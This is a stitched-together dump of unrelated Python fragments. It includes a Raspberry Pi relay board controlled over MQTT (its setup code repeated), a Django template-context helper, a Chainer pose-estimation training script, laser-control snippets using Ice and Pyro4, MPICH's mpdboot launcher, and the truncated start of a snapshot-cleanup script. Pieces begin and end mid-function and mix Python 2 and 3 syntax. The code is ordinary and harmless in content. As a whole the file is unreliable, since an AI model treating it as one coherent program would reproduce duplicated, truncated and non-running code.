GPIO.setup(self.SENSOR[7], GPIO.IN, pull_up_down=GPIO.PUD_UP)
GPIO.setup(self.SENSOR[8], GPIO.IN, pull_up_down=GPIO.PUD_UP)
# Publish on MQTT
self.base_topic = "homie"
self.device_id = self.name.replace(
' ',
'_') # Use name as device_id. Replacing spaces with underscore
self.homie = "3.0.1"
# self.localip = get_ip()
# self.mac = get_mac()
self.fw_name = "RaspiRelayboard"
self.fw_version = "0.1"
self.nodes = ""
for i in range(1, 9):
if i > 1:
self.nodes += ","
self.nodes += self.RELAY_NAME[i]
for i in range(1, 9):
self.nodes += ","
self.nodes += self.SENSOR_NAME[i]
self.implementation = "RaspberryPi"
self.stats = "uptime,signal,cputemp,cpuload,freeheap,supply"
self.stats_interval = 60
self.topic = "{0}/{1}".format(self.base_topic, self.device_id)
self.logger.info("Using topic {0}".format(self.topic))
self.mqtt_publish_device()
self.mqtt_send_stats()
self.mqtt_send_nodes()
self.started = 1
sleep(0.5)
i = 1
while i <= 8:
initial_power_topic = "{0}/{1}/power".format(
self.topic, self.RELAY_NAME[i])
self.mqtt_client.publish(initial_power_topic, "false")
i += 1
self.mqtt_client.publish(self.topic + "/$state", "ready")
signal.signal(signal.SIGINT, self.handle_signal)
self.read_switches()
self.logger.info("Everything started and running.")
def mqtt_publish_device(self):
self.mqtt_client.publish(self.topic + "/$homie", self.homie)
self.mqtt_client.publish(self.topic + "/$name", self.name)
# self.mqtt_client.publish(self.topic + "/$localip", self.localip)
# self.mqtt_client.publish(self.topic + "/$mac", self.mac)
self.mqtt_client.publish(self.topic + "/$fw/name", self.fw_name)
self.mqtt_client.publish(self.topic + "/$fw/version", self.fw_version)
self.mqtt_client.publish(self.topic + "/$nodes", self.nodes)
self.mqtt_client.publish(self.topic + "/$implementation",
self.implementation)
self.mqtt_client.publish(self.topic + "/$stats", self.stats)
def mqtt_send_stats(self):
self.logger.info("Sending stats")
stats_topic = "{0}/$stats/".format(self.topic)
self.mqtt_client.publish(stats_topic + "interval", self.stats_interval)
self.mqtt_client.publish(stats_topic + "uptime", uptime())
signal = "Not implemented yet"
self.mqtt_client.publish(stats_topic + "signal", 0)
cputemp = int(
subprocess.check_output(
['cat', '/sys/class/thermal/thermal_zone0/temp'])) / 1000
self.mqtt_client.publish(stats_topic + "cputemp", cputemp)
cpuload = subprocess.check_output(['cat', '/proc/loadavg']).rstrip()
self.mqtt_client.publish(stats_topic + "cpuload", cpuload)
freeheap = subprocess.check_output([
'cat', '/proc/meminfo'
]).decode('utf-8').split('\n')[1].replace(' ', '').split(':')[1][:-2]
self.mqtt_client.publish(stats_topic + "freeheap", freeheap)
supply = "Not implemented yet"
self.mqtt_client.publish(stats_topic + "supply", 0)
if not self.stopped: # if not stopped stay alive
Timer(self.stats_interval - 1, self.mqtt_send_stats).start()
def mqtt_send_nodes(self):
i = 1
while i <= 8:
self.mqtt_send_light_node(i)
self.mqtt_send_switch_node(i)
i += 1
def mqtt_send_light_node(self, nr):
self.logger.info("Sending light node {0}".format(nr))
light_topic = "{0}/{1}/".format(self.topic, self.RELAY_NAME[nr])
self.mqtt_client.publish(light_topic + "$name",
"{0}".format(self.RELAY_NAME[nr]))
self.mqtt_client.publish(light_topic + "$type", "light")
self.mqtt_client.publish(light_topic + "$properties", "power")
self.mqtt_client.publish(light_topic + "power/$name",
"{0}".format(self.RELAY_NAME[nr]))
self.mqtt_client.publish(light_topic + "power/$settable", "true")
self.mqtt_client.publish(light_topic + "power/$retained", "true")
self.mqtt_client.publish(light_topic + "power/$datatype", "boolean")
if self.started == 0:
self.mqtt_client.subscribe(light_topic + "power/set")
def mqtt_send_switch_node(self, nr):
self.logger.info("Sending switch node {0}".format(nr))
switch_topic = "{0}/{1}/".format(self.topic, self.SENSOR_NAME[nr])
self.mqtt_client.publish(switch_topic + "$name",
"{0}".format(self.SENSOR_NAME[nr]))
self.mqtt_client.publish(switch_topic + "$type", "switch")
self.mqtt_client.publish(switch_topic + "$properties", "switch")
self.mqtt_client.publish(switch_topic + "switch/$name",
"{0}".format(self.SENSOR_NAME[nr]))
self.mqtt_client.publish(switch_topic + "switch/$settable", "false")
self.mqtt_client.publish(switch_topic + "switch/$retained", "true")
self.mqtt_client.publish(switch_topic + "switch/$datatype", "boolean")
def mqtt_on_connect(self, client, userdata, flags, rc):
self.logger.info('Connected with result code: '.format(rc))
def mqtt_on_message(self, client, userdata, msg):
self.logger.info('{0} : {1}'.format(msg.topic, msg.payload))
topic = msg.topic.split('/')
# expecting name like 'light2'
nr = self.RELAY_NAME.index(topic[2])
# nr = int(topic[2][5:])
try:
if topic[3] == "power" and topic[
4] == "set" and msg.payload.decode('utf-8') == "false":
self.light_off(nr)
self.logger.info("Trying to turn off light {0}".format(nr))
elif topic[3] == "power" and topic[
4] == "set" and msg.payload.decode('utf-8') == "true":
self.light_on(nr)
self.logger.info("Trying to turn on light {0}".format(nr))
else:
self.logger.error("Problem with message")
except Exception as e:
self.logger.error("Problem {0}".format(e))
def switch_light(self, nr):
GPIO.output(self.RELAY[nr], not GPIO.input(self.RELAY[nr]))
# self.send_state()
def light_off(self, nr):
# read state and change if light on
# if self.read_state(nr):
# self.switch_light(nr)
GPIO.output(self.RELAY[nr], True)
def light_on(self, nr):
# read state and change if light off
# if not self.read_state(nr):
# self.switch_light(nr)
GPIO.output(self.RELAY[nr], False)
def read_state(self, nr):
return GPIO.input(self.SENSOR[nr])
def handle_signal(self, signal, frame):
print("Program signal: {0}, {1}".format(signal, frame))
if signal == 2: # KeyboardInterupt - Stop everything
self.stop()
def read_switches(self):
i = 1
while i <= 8:
if self.SENSOR_STATE[i] != self.read_switch(i):
self.SENSOR_STATE[i] = self.read_switch(i)
switch_topic = "{0}/{1}/".format(self.topic,
self.SENSOR_NAME[i])
self.mqtt_client.publish(switch_topic + "switch",
self.SENSOR_STATE[i])
self.logger.info("{0} changed to {1}".format(
self.SENSOR_NAME[i], self.SENSOR_STATE[i]))
i += 1
if not self.stopped:
Timer(0.5, self.read_switches).start()
def read_switch(self, nr):
if self.read_state(nr):
return "true"
else:
return "false"
def stop(self):
self.stopped = 1
print("Waiting 5 seconds to close all threads")
sleep(5)
self.mqtt_client.publish(self.topic + "/$state", "disconnected")
self.mqtt_client.disconnect()
self.started = 0
sys.exit()
def wrap_data(request, data=None):
"""Puts commonly used values into the template context dictionary, `data`
"""
if data is None:
data = {}
# CSRF Token
data.update(csrf(request))
##
# meta, server, request info
from htk.utils.request import get_request_metadata
data['request'] = get_request_metadata(request)
data['server'] = {
'hostname' : gethostname(),
}
data['site_name'] = htk_setting('HTK_SITE_NAME')
data['meta'] = {
'title' : {
'content' : '',
'inverted' : [],
'join_value' : ' | ',
'static_values' : {},
},
'breadcrumbs' : {
'url_names_to_breadcrumbs' : {},
},
'description' : {
'content' : '',
'inverted' : [],
'join_value' : ' ',
'static_values' : {},
},
'keywords' : {
'content' : '',
'inverted' : [],
'join_value' : ',',
'static_values' : {},
},
'site_verifications' : {},
}
data['privacy_url_name'] = 'privacy'
data['robots_url_name'] = 'robots'
##
# Rollbar
data['rollbar'] = {
'env' : settings.ROLLBAR_ENV,
'branch' : settings.ROLLBAR.get('branch', 'master'),
'tokens' : {
'post_client_item' : settings.ROLLBAR_TOKEN_POST_CLIENT_ITEM,
},
'host_blacklist' : settings.ROLLBAR.get('host_blacklist', None),
'host_whitelist' : settings.ROLLBAR.get('host_whitelist', None),
'ignored_messages' : settings.ROLLBAR.get('ignored_messages', None),
'ignored_messages_regexes' : settings.ROLLBAR.get('ignored_messages_regexes', None),
'ignored_uncaught_exception_classes' : settings.ROLLBAR.get('ignored_uncaught_exception_classes', None),
}
##
# LESS http://lesscss.org/#usage
asset_version = get_asset_version()
css_ext = '%s?v=%s' % (htk_setting('HTK_CSS_EXTENSION'), asset_version,)
useless = settings.ENV_DEV and request.GET.get('useless', False)
data['css_rel'] = 'stylesheet/less' if useless else 'stylesheet'
data['css_ext'] = 'less' if useless else css_ext
data['asset_version'] = asset_version
##
# Current Environment
data['ENV_DEV'] = settings.ENV_DEV
data['ENV_PROD'] = settings.ENV_PROD
##
# Javascript reloader
_javascript_reloader(request, data)
##
# user
if request.user.is_authenticated:
user = request.user
else:
user = None
data['user'] = user
##
# errors
data['errors'] = []
return data
def main():
parser = argparse.ArgumentParser(
formatter_class=argparse.ArgumentDefaultsHelpFormatter, )
parser.add_argument("--multi-node", action="store_true", help="multi node")
parser.add_argument("--out", help="output directory")
parser.add_argument("--debug", action="store_true", help="debug mode")
parser.add_argument("--gpu", type=int, default=0, help="gpu id")
parser.add_argument("--seed", type=int, default=0, help="random seed")
parser.add_argument(
"--lr",
type=float,
default=0.0001,
help="learning rate",
)
parser.add_argument(
"--max-epoch",
type=int,
default=30,
help="max epoch",
)
parser.add_argument(
"--call-evaluation-before-training",
action="store_true",
help="call evaluation before training",
)
def argparse_type_class_ids(string):
if string == "all":
n_class = len(morefusion.datasets.ycb_video.class_names)
class_ids = np.arange(n_class)[1:].tolist()
elif string == "asymmetric":
class_ids = (
morefusion.datasets.ycb_video.class_ids_asymmetric.tolist())
elif string == "symmetric":
class_ids = (
morefusion.datasets.ycb_video.class_ids_symmetric.tolist())
else:
class_ids = [int(x) for x in string.split(",")]
return class_ids
parser.add_argument(
"--class-ids",
type=argparse_type_class_ids,
default="all",
help="class id (e.g., 'all', 'asymmetric', 'symmetric', '1,6,9')",
)
parser.add_argument(
"--pretrained-model",
help="pretrained model",
)
parser.add_argument(
"--note",
help="note",
)
parser.add_argument(
"--pretrained-resnet18",
action="store_true",
help="pretrained resnet18",
)
parser.add_argument(
"--centerize-pcd",
action="store_true",
help="centerize pcd",
)
parser.add_argument(
"--resume",
help="resume",
)
parser.add_argument(
"--loss",
choices=["add/add_s", "add->add/add_s|1"],
default="add->add/add_s|1",
help="loss",
)
args = parser.parse_args()
chainer.global_config.debug = args.debug
# -------------------------------------------------------------------------
# device initialization
if args.multi_node:
import chainermn
comm = chainermn.create_communicator("pure_nccl")
device = comm.intra_rank
n_gpu = comm.size
else:
device = args.gpu
n_gpu = 1
if not args.multi_node or comm.rank == 0:
now = datetime.datetime.now(datetime.timezone.utc)
args.timestamp = now.isoformat()
args.hostname = socket.gethostname()
args.githash = morefusion.utils.githash(__file__)
termcolor.cprint("==> Started training", attrs={"bold": True})
if args.out is None:
if not args.multi_node or comm.rank == 0:
args.out = osp.join(here, "logs", now.strftime("%Y%m%d_%H%M%S.%f"))
else:
args.out = None
if args.multi_node:
args.out = comm.bcast_obj(args.out)
if device >= 0:
chainer.cuda.get_device_from_id(device).use()
# seed initialization
random.seed(args.seed)
np.random.seed(args.seed)
if device >= 0:
chainer.cuda.cupy.random.seed(args.seed)
# dataset initialization
data_train = None
data_valid = None
if not args.multi_node or comm.rank == 0:
termcolor.cprint("==> Dataset size", attrs={"bold": True})
data_ycb_trainreal = morefusion.datasets.YCBVideoRGBDPoseEstimationDatasetReIndexed( # NOQA
"trainreal", class_ids=args.class_ids, augmentation=True)
data_ycb_syn = morefusion.datasets.YCBVideoRGBDPoseEstimationDatasetReIndexed( # NOQA
"syn", class_ids=args.class_ids, augmentation=True)
data_ycb_syn = morefusion.datasets.RandomSamplingDataset(
data_ycb_syn, len(data_ycb_trainreal))
data_my_train = morefusion.datasets.MySyntheticYCB20190916RGBDPoseEstimationDatasetReIndexed( # NOQA
"train", class_ids=args.class_ids, augmentation=True)
data_train = chainer.datasets.ConcatenatedDataset(
data_ycb_trainreal, data_ycb_syn, data_my_train)
print(f"ycb_trainreal={len(data_ycb_trainreal)}, "
f"ycb_syn={len(data_ycb_syn)}, my_train={len(data_my_train)}")
del data_ycb_trainreal, data_ycb_syn, data_my_train
data_ycb_val = morefusion.datasets.YCBVideoRGBDPoseEstimationDatasetReIndexed( # NOQA
"val", class_ids=args.class_ids)
data_my_val = morefusion.datasets.MySyntheticYCB20190916RGBDPoseEstimationDatasetReIndexed( # NOQA
"val", class_ids=args.class_ids)
data_valid = chainer.datasets.ConcatenatedDataset(
data_ycb_val,
data_my_val,
)
print(f"ycb_val={len(data_ycb_val)}, my_val={len(data_my_val)}")
del data_ycb_val, data_my_val
data_train = chainer.datasets.TransformDataset(data_train, transform)
data_valid = chainer.datasets.TransformDataset(data_valid, transform)
if args.multi_node:
data_train = chainermn.scatter_dataset(data_train,
comm,
shuffle=True,
seed=args.seed)
data_valid = chainermn.scatter_dataset(data_valid,
comm,
shuffle=False,
seed=args.seed)
args.class_names = morefusion.datasets.ycb_video.class_names.tolist()
loss = args.loss
if loss == "add->add/add_s|1":
loss = "add"
# model initialization
model = contrib.models.Model(
n_fg_class=len(args.class_names) - 1,
centerize_pcd=args.centerize_pcd,
pretrained_resnet18=args.pretrained_resnet18,
loss=loss,
)
if args.pretrained_model is not None:
chainer.serializers.load_npz(args.pretrained_model, model)
if device >= 0:
model.to_gpu()
# optimizer initialization
optimizer = chainer.optimizers.Adam(alpha=args.lr)
if args.multi_node:
optimizer = chainermn.create_multi_node_optimizer(optimizer, comm)
optimizer.setup(model)
if args.pretrained_resnet18:
model.resnet_extractor.init_block.disable_update()
model.resnet_extractor.res2.disable_update()
for link in model.links():
if isinstance(link, chainer.links.BatchNormalization):
link.disable_update()
if not args.multi_node or comm.rank == 0:
termcolor.cprint("==> Link update rules", attrs={"bold": True})
for name, link in model.namedlinks():
print(name, link.update_enabled)
# iterator initialization
iter_train = chainer.iterators.MultiprocessIterator(
data_train,
batch_size=16 // n_gpu,
repeat=True,
shuffle=True,
)
iter_valid = chainer.iterators.MultiprocessIterator(
data_valid,
batch_size=16,
repeat=False,
shuffle=False,
)
updater = chainer.training.StandardUpdater(
iterator=iter_train,
optimizer=optimizer,
device=device,
)
if not args.multi_node or comm.rank == 0:
writer = tensorboardX.SummaryWriter(log_dir=args.out)
writer_with_updater = morefusion.training.SummaryWriterWithUpdater(
writer)
writer_with_updater.setup(updater)
# -------------------------------------------------------------------------
trainer = chainer.training.Trainer(updater, (args.max_epoch, "epoch"),
out=args.out)
trainer.extend(E.FailOnNonNumber())
@chainer.training.make_extension(trigger=(1, "iteration"))
def update_loss(trainer):
updater = trainer.updater
optimizer = updater.get_optimizer("main")
target = optimizer.target
assert trainer.stop_trigger.unit == "epoch"
if args.loss == "add->add/add_s|1":
if updater.epoch_detail < 1:
assert target._loss == "add"
else:
target._loss = "add/add_s"
else:
assert args.loss in ["add/add_s"]
return
trainer.extend(update_loss)
log_interval = 10, "iteration"
eval_interval = 0.25, "epoch"
# evaluate
evaluator = morefusion.training.extensions.PoseEstimationEvaluator(
iterator=iter_valid,
target=model,
device=device,
progress_bar=True,
)
if args.multi_node:
evaluator.comm = comm
trainer.extend(
evaluator,
trigger=eval_interval,
call_before_training=args.call_evaluation_before_training,
)
if not args.multi_node or comm.rank == 0:
# print arguments
msg = pprint.pformat(args.__dict__)
msg = textwrap.indent(msg, prefix=" " * 2)
termcolor.cprint("==> Arguments", attrs={"bold": True})
print(f"\n{msg}\n")
trainer.extend(
morefusion.training.extensions.ArgsReport(args),
call_before_training=True,
)
# snapshot
trigger_best_add = chainer.training.triggers.MinValueTrigger(
key="validation/main/add_or_add_s",
trigger=eval_interval,
)
trigger_best_auc = chainer.training.triggers.MaxValueTrigger(
key="validation/main/auc/add_or_add_s",
trigger=eval_interval,
)
trainer.extend(
E.snapshot(filename="snapshot_trainer_latest.npz"),
trigger=eval_interval,
)
trainer.extend(
E.snapshot_object(model, filename="snapshot_model_latest.npz"),
trigger=eval_interval,
)
trainer.extend(
E.snapshot_object(model, filename="snapshot_model_best_add.npz"),
trigger=trigger_best_add,
)
trainer.extend(
E.snapshot_object(model, filename="snapshot_model_best_auc.npz"),
trigger=trigger_best_auc,
)
# log
trainer.extend(
morefusion.training.extensions.LogTensorboardReport(
writer=writer,
trigger=log_interval,
),
call_before_training=True,
)
trainer.extend(
E.PrintReport(
[
"epoch",
"iteration",
"elapsed_time",
"main/loss",
"main/add_or_add_s",
"validation/main/auc/add_or_add_s",
],
log_report="LogTensorboardReport",
),
trigger=log_interval,
call_before_training=True,
)
trainer.extend(E.ProgressBar(update_interval=1))
# -------------------------------------------------------------------------
if args.resume:
chainer.serializers.load_npz(args.resume, trainer)
trainer.run()
def __init__(self, mqtt_host='localhost', mqtt_port=1883):
self.started = 0
self.stopped = 0
self.name = str(socket.gethostname())
# MQTT setup
self.logger = logging.getLogger('MQTTBoard')
self.logger.setLevel(logging.DEBUG)
# self.ch = logging.StreamHandler()
self.ch = logging.FileHandler('/var/log/LightsControl/lc.log')
self.ch.setLevel(logging.INFO)
formatter = logging.Formatter(
'%(asctime)s - %(name)s - %(levelname)s - %(message)s')
self.ch.setFormatter(formatter)
self.logger.addHandler(self.ch)
self.mqtt_client = MQTTClient(self.name, mqtt_host, mqtt_port)
self.logger.info("MQTT connecting to {0}:{1}".format(
mqtt_host, mqtt_port))
self.mqtt_client.set_on_connect(self.mqtt_on_connect)
self.mqtt_client.set_on_message(self.mqtt_on_message)
self.mqtt_client.connect()
self.logger.info("MQTT connected")
self.mqtt_client.start()
# GPIO setup
GPIO.setmode(GPIO.BOARD)
GPIO.setup(self.RELAY[1], GPIO.OUT)
GPIO.output(self.RELAY[1], False)
GPIO.setup(self.RELAY[2], GPIO.OUT)
GPIO.output(self.RELAY[2], False)
GPIO.setup(self.RELAY[3], GPIO.OUT)
GPIO.output(self.RELAY[3], False)
GPIO.setup(self.RELAY[4], GPIO.OUT)
GPIO.output(self.RELAY[4], False)
GPIO.setup(self.RELAY[5], GPIO.OUT)
GPIO.output(self.RELAY[5], False)
GPIO.setup(self.RELAY[6], GPIO.OUT)
GPIO.output(self.RELAY[6], False)
GPIO.setup(self.RELAY[7], GPIO.OUT)
GPIO.output(self.RELAY[7], False)
GPIO.setup(self.RELAY[8], GPIO.OUT)
GPIO.output(self.RELAY[8], False)
GPIO.setup(self.SENSOR[1], GPIO.IN, pull_up_down=GPIO.PUD_UP)
GPIO.setup(self.SENSOR[2], GPIO.IN, pull_up_down=GPIO.PUD_UP)
GPIO.setup(self.SENSOR[3], GPIO.IN, pull_up_down=GPIO.PUD_UP)
GPIO.setup(self.SENSOR[4], GPIO.IN, pull_up_down=GPIO.PUD_UP)
GPIO.setup(self.SENSOR[5], GPIO.IN, pull_up_down=GPIO.PUD_UP)
GPIO.setup(self.SENSOR[6], GPIO.IN, pull_up_down=GPIO.PUD_UP)
GPIO.setup(self.SENSOR[7], GPIO.IN, pull_up_down=GPIO.PUD_UP)
GPIO.setup(self.SENSOR[8], GPIO.IN, pull_up_down=GPIO.PUD_UP)
# Publish on MQTT
self.base_topic = "homie"
self.device_id = self.name.replace(
' ',
'_') # Use name as device_id. Replacing spaces with underscore
self.homie = "3.0.1"
# self.localip = get_ip()
# self.mac = get_mac()
self.fw_name = "RaspiRelayboard"
self.fw_version = "0.1"
self.nodes = ""
for i in range(1, 9):
if i > 1:
self.nodes += ","
self.nodes += self.RELAY_NAME[i]
for i in range(1, 9):
self.nodes += ","
self.nodes += self.SENSOR_NAME[i]
self.implementation = "RaspberryPi"
self.stats = "uptime,signal,cputemp,cpuload,freeheap,supply"
self.stats_interval = 60
self.topic = "{0}/{1}".format(self.base_topic, self.device_id)
self.logger.info("Using topic {0}".format(self.topic))
self.mqtt_publish_device()
self.mqtt_send_stats()
self.mqtt_send_nodes()
self.started = 1
sleep(0.5)
i = 1
while i <= 8:
initial_power_topic = "{0}/{1}/power".format(
self.topic, self.RELAY_NAME[i])
self.mqtt_client.publish(initial_power_topic, "false")
i += 1
self.mqtt_client.publish(self.topic + "/$state", "ready")
signal.signal(signal.SIGINT, self.handle_signal)
self.read_switches()
self.logger.info("Everything started and running.")
status = 0
ic = None
base = None
laser = None
try:
# Create a communicator
#
ic = Ice.initialize(sys.argv)
print "Communicator initialized..."
# Create a proxy for the laser
#
# we'll use indirect proxy here to connect to the laser2d component
# setup according to the Quick Start tutorial of Orca2
# see: orca-robotics.sf.net/orca_doc_quickstart.html
base = ic.stringToProxy( "laserscanner2d@"+gethostname()+"/laser2d" )
# check that the object exists otherwise this will raise an exceptions
base.ice_ping();
print "Base proxy created..."
# Down-cast the proxy to a Laser proxy
#
laser = orca.LaserScanner2dPrx.checkedCast(base)
if laser == None:
raise "Invalid proxy - could not downcast to a laserscanner2d proxy"
print "Derived proxy created..."
# get one laser scan and print it out
self.logger.log("Setting laser power to %.4fW at %s" % (mW / 1000.0, time.strftime('%Y-%m-%d %H:%M:%S')))
return self.send("@cobasp %.4f" % (mW / 1000.0))
@lockComms
def getSetPower_mW(self):
self.write('p?')
return 1000 * float(self.readline())
if __name__ == "__main__":
## Only run when called as a script --- do not run on include.
# This way, we can use an interactive shell to test out the class.
from optparse import OptionParser
parser = OptionParser()
parser.add_option("-p", "--port", type="int", dest="net_port", default=7776, help="TCP port to listen on for service", metavar="PORT_NUMBER")
parser.add_option("-n", "--name", dest="service_name", default='pyro561CoboltLaser', help="name of service", metavar="NAME")
parser.add_option("-s", "--serial", type="int", dest="serial_port", default=1, help="serial port number", metavar="PORT_NUMBER")
parser.add_option("-b", "--baud", type="int", dest="baud_rate", default=9600, help="serial port baud rate in bits/sec", metavar="RATE")
(options, args) = parser.parse_args()
laser = CoboltLaser(options.serial_port, options.baud_rate, 2)
daemon = Pyro4.Daemon(port = options.net_port,
host = socket.gethostbyname(socket.gethostname()))
Pyro4.Daemon.serveSimple(
{laser: options.service_name},
daemon = daemon, ns = False, verbose = True)
def mpdboot():
global myHost, fullDirName, rshCmd, user, mpdCmd, debug, verbose
myHost = gethostname()
mpd_set_my_id('mpdboot_%s' % (myHost))
fullDirName = path.abspath(path.split(argv[0])[0])
rshCmd = 'ssh'
user = mpd_get_my_username()
mpdCmd = path.join(fullDirName, 'mpd.py')
hostsFilename = 'mpd.hosts'
totalnumToStart = 1 # may get chgd below
debug = 0
verbose = 0
localConArg = ''
remoteConArg = ''
oneMPDPerHost = 1
myNcpus = 1
myIfhn = ''
chkupIndicator = 0 # 1 -> chk and start ; 2 -> just chk
maxUnderOneRoot = 4
try:
shell = path.split(environ['SHELL'])[-1]
except:
shell = 'csh'
argidx = 1 # skip arg 0
while argidx < len(argv):
if argv[argidx] == '-h' or argv[argidx] == '--help':
usage()
elif argv[argidx] == '-r': # or --rsh=
rshCmd = argv[argidx + 1]
argidx += 2
elif argv[argidx].startswith('--rsh'):
splitArg = argv[argidx].split('=')
try:
rshCmd = splitArg[1]
except:
print 'mpdboot: invalid argument:', argv[argidx]
usage()
argidx += 1
elif argv[argidx] == '-u': # or --user=
user = argv[argidx + 1]
argidx += 2
elif argv[argidx].startswith('--user'):
splitArg = argv[argidx].split('=')
try:
user = splitArg[1]
except:
print 'mpdboot: invalid argument:', argv[argidx]
usage()
argidx += 1
elif argv[argidx] == '-m': # or --mpd=
mpdCmd = argv[argidx + 1]
argidx += 2
elif argv[argidx].startswith('--mpd'):
splitArg = argv[argidx].split('=')
try:
mpdCmd = splitArg[1]
except:
print 'mpdboot: invalid argument:', argv[argidx]
usage()
argidx += 1
elif argv[argidx] == '-f': # or --file=
hostsFilename = argv[argidx + 1]
argidx += 2
elif argv[argidx].startswith('--file'):
splitArg = argv[argidx].split('=')
try:
hostsFilename = splitArg[1]
except:
print 'mpdboot: invalid argument:', argv[argidx]
usage()
argidx += 1
elif argv[argidx].startswith('--ncpus'):
splitArg = argv[argidx].split('=')
try:
myNcpus = int(splitArg[1])
except:
print 'mpdboot: invalid argument:', argv[argidx]
usage()
argidx += 1
elif argv[argidx].startswith('--ifhn'):
splitArg = argv[argidx].split('=')
myIfhn = splitArg[1]
myHost = splitArg[1]
argidx += 1
elif argv[argidx] == '-n': # or --totalnum=
totalnumToStart = int(argv[argidx + 1])
argidx += 2
elif argv[argidx].startswith('--totalnum'):
splitArg = argv[argidx].split('=')
try:
totalnumToStart = int(splitArg[1])
except:
print 'mpdboot: invalid argument:', argv[argidx]
usage()
argidx += 1
elif argv[argidx].startswith('--maxbranch'):
splitArg = argv[argidx].split('=')
try:
maxUnderOneRoot = int(splitArg[1])
except:
print 'mpdboot: invalid argument:', argv[argidx]
usage()
argidx += 1
elif argv[argidx] == '-d' or argv[argidx] == '--debug':
debug = 1
argidx += 1
elif argv[argidx] == '-s' or argv[argidx] == '--shell':
shell = 'bourne'
argidx += 1
elif argv[argidx] == '-v' or argv[argidx] == '--verbose':
verbose = 1
argidx += 1
elif argv[argidx] == '-c' or argv[argidx] == '--chkup':
chkupIndicator = 1
argidx += 1
elif argv[argidx] == '--chkuponly':
chkupIndicator = 2
argidx += 1
elif argv[argidx] == '-1':
oneMPDPerHost = 0
argidx += 1
elif argv[argidx] == '--loccons':
localConArg = '-n'
argidx += 1
elif argv[argidx] == '--remcons':
remoteConArg = '-n'
argidx += 1
else:
print 'mpdboot: unrecognized argument:', argv[argidx]
usage()
# Fix for tt#662, make sure the config file is available to avoid some very
# confusing error messages. We don't actually need these values here.
parmdb = MPDParmDB()
parmdb.get_parms_from_rcfile(parmsToOverride={}, errIfMissingFile=1)
if debug:
print 'debug: starting'
lines = []
if totalnumToStart > 1:
try:
f = open(hostsFilename, 'r')
for line in f:
lines.append(line)
except:
print 'unable to open (or read) hostsfile %s' % (hostsFilename)
exit(-1)
hostsAndInfo = [{'host': myHost, 'ncpus': myNcpus, 'ifhn': myIfhn}]
for line in lines:
line = line.strip()
if not line or line[0] == '#':
continue
splitLine = re.split(r'\s+', line)
host = splitLine[0]
ncpus = 1 # default
if ':' in host:
(host, ncpus) = host.split(':', 1)
ncpus = int(ncpus)
ifhn = '' # default
for kv in splitLine[1:]:
(k, v) = kv.split('=', 1)
if k == 'ifhn':
ifhn = v
hostsAndInfo.append({'host': host, 'ncpus': ncpus, 'ifhn': ifhn})
cachedIPs = {}
if oneMPDPerHost and totalnumToStart > 1:
oldHostsAndInfo = hostsAndInfo[:]
hostsAndInfo = []
for hostAndInfo in oldHostsAndInfo:
oldhost = hostAndInfo['host']
try:
ips = gethostbyname_ex(oldhost)[2] # may fail if invalid host
except:
print 'unable to obtain IP for host:', oldhost
continue
uips = {} # unique ips
for ip in ips:
uips[ip] = 1
keep = 1
for ip in uips.keys():
if cachedIPs.has_key(ip):
keep = 0
break
if keep:
hostsAndInfo.append(hostAndInfo)
cachedIPs.update(uips)
if len(hostsAndInfo) < totalnumToStart: # one is local
print 'totalnum=%d numhosts=%d' % (totalnumToStart, len(hostsAndInfo))
print 'there are not enough hosts on which to start all processes'
exit(-1)
if chkupIndicator:
hostsToCheck = [hai['host'] for hai in hostsAndInfo[1:totalnumToStart]]
(upList, dnList) = chkupdn(hostsToCheck)
if dnList:
print "these hosts are down; exiting"
print dnList
exit(-1)
print "there are %d hosts up (counting local)" % (len(upList) + 1)
if chkupIndicator == 2: # do the chkup and quit
exit(0)
try:
# stop current (if any) mpds; ignore the output
getoutput('%s/mpdallexit.py' % (fullDirName))
if verbose or debug:
print 'running mpdallexit on %s' % (myHost)
except:
pass
if environ.has_key('MPD_TMPDIR'):
tmpdir = environ['MPD_TMPDIR']
else:
tmpdir = ''
if myIfhn:
ifhn = '--ifhn=%s' % (myIfhn)
else:
ifhn = ''
hostsAndInfo[0]['entry_host'] = ''
hostsAndInfo[0]['entry_port'] = ''
mpdArgs = '%s %s --ncpus=%d' % (localConArg, ifhn, myNcpus)
if tmpdir:
mpdArgs += ' --tmpdir=%s' % (tmpdir)
(mpdPID, mpdFD) = launch_one_mpd(0, 0, mpdArgs, hostsAndInfo)
fd2idx = {mpdFD: 0}
handle_mpd_output(mpdFD, fd2idx, hostsAndInfo)
try:
from os import sysconf
maxfds = sysconf('SC_OPEN_MAX')
except:
maxfds = 1024
maxAtOnce = min(128, maxfds -
8) # -8 for stdeout, etc. + a few more for padding
hostsSeen = {myHost: 1}
fdsToSelect = []
numStarted = 1 # local already going
numStarting = 0
numUnderCurrRoot = 0
possRoots = []
currRoot = 0
idxToStart = 1 # local mpd already going
while numStarted < totalnumToStart:
if numStarting < maxAtOnce and idxToStart < totalnumToStart:
if numUnderCurrRoot < maxUnderOneRoot:
entryHost = hostsAndInfo[currRoot]['host']
entryPort = hostsAndInfo[currRoot]['list_port']
hostsAndInfo[idxToStart]['entry_host'] = entryHost
hostsAndInfo[idxToStart]['entry_port'] = entryPort
if hostsSeen.has_key(hostsAndInfo[idxToStart]['host']):
remoteConArg = '-n'
myNcpus = hostsAndInfo[idxToStart]['ncpus']
ifhn = hostsAndInfo[idxToStart]['ifhn']
if ifhn:
ifhn = '--ifhn=%s' % (ifhn)
mpdArgs = '%s -h %s -p %s %s --ncpus=%d' % (
remoteConArg, entryHost, entryPort, ifhn, myNcpus)
if tmpdir:
mpdArgs += ' --tmpdir=%s' % (tmpdir)
(mpdPID, mpdFD) = launch_one_mpd(idxToStart, currRoot, mpdArgs,
hostsAndInfo)
numStarting += 1
numUnderCurrRoot += 1
hostsAndInfo[idxToStart]['pid'] = mpdPID
hostsSeen[hostsAndInfo[idxToStart]['host']] = 1
fd2idx[mpdFD] = idxToStart
fdsToSelect.append(mpdFD)
idxToStart += 1
else:
if possRoots:
currRoot = possRoots.pop()
numUnderCurrRoot = 0
selectTime = 0.01
else:
selectTime = 0.1
try:
(readyFDs, unused1, unused2) = select(fdsToSelect, [], [],
selectTime)
except error, errmsg:
mpd_print(1, 'mpdboot: select failed: errmsg=:%s:' % (errmsg))
exit(-1)
for fd in readyFDs:
handle_mpd_output(fd, fd2idx, hostsAndInfo)
numStarted += 1
numStarting -= 1
possRoots.append(fd2idx[fd])
fdsToSelect.remove(fd)
fd.close()
# 12 4 * * 7 python /path/to/snap_delete.py
import subprocess
import json
import datetime
import smtplib
import socket
try:
from email.mime.text import MIMEText
except ImportError:
# Python 2.4 (CentOS 5.x)
